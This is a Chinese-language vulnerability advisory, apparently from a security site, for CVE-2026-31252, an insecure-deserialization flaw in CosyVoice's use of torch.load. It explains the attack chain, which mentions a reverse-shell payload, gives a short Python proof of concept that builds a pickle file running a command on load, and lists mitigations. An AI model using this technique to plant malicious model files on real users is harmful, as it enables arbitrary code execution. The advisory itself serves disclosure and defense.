IPBUF安全漏洞报告
English
CVE-2026-31252 CVSS 5.7 中危

CVE-2026-31252 CosyVoice不安全反序列化漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31252
漏洞类型
不安全反序列化
CVSS评分
5.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CosyVoice

相关标签

RCE反序列化CosyVoicePyTorchCWE-502

漏洞概述

CosyVoice 在加载模型权重时存在不安全的反序列化漏洞。该框架使用 `torch.load()` 加载模型文件(如 `llm.pt`)时未启用安全限制参数 `weights_only=True`。攻击者可诱导用户加载包含恶意构造的模型文件的目录,触发反序列化过程,从而导致受害者系统在模型加载期间执行任意 Python 代码。

技术细节

该漏洞根因在于 CosyVoice 的模型加载组件使用了 PyTorch 的 `torch.load()` 函数,但其底层依赖的 Python `pickle` 模块在反序列化数据时存在安全隐患。CosyVoice 在调用 `torch.load()` 时未设置 `weights_only=True` 参数,这意味着反序列化过程中允许加载任意 Python 对象。`pickle` 模块在解析特定对象时会自动调用 `__reduce__` 方法,攻击者可以利用该方法在反序列化期间执行任意 Python 代码或系统命令。攻击者只需创建一个包含恶意 Payload 的伪造模型文件(如 `llm.pt`),并诱导受害者通过 CosyVoice Web UI 加载该文件所在的目录。一旦加载开始,恶意代码即在受害者系统上下文中被触发执行,导致系统被完全控制。

攻击链分析

STEP 1
1. 恶意文件生成
攻击者利用 Python pickle 机制,创建一个包含恶意 Payload(如反弹 Shell 或系统命令)的伪造模型文件(例如 llm.pt)。
STEP 2
2. 诱导加载
攻击者将包含恶意模型文件的目录提供给受害者,并诱导受害者在 CosyVoice Web UI 中加载该目录作为模型路径。
STEP 3
3. 触发反序列化
当 Web UI 启动并尝试加载模型时,调用不安全的 `torch.load()` 函数解析恶意文件。
STEP 4
4. 代码执行
Pickle 模块在反序列化过程中自动执行恶意对象定义的 `__reduce__` 方法,导致受害者的系统执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import torch import os class MaliciousPayload: def __reduce__(self): # Execute arbitrary command upon deserialization return (os.system, ('calc.exe',)) # Create a malicious model file malicious_data = MaliciousPayload() # Save using torch.save (which uses pickle by default) # Victims will load this thinking it is a valid model weight (e.g., llm.pt) torch.save(malicious_data, 'malicious_llm.pt') print("Malicious model file 'malicious_llm.pt' generated successfully.")

影响范围

CosyVoice <= commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e

防御指南

临时缓解措施
在加载模型时,用户应确保只加载经过验证的、可信的模型目录。开发者应在代码中强制使用 `torch.load(..., weights_only=True)`,以限制仅加载张量数据,防止反序列化任意对象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表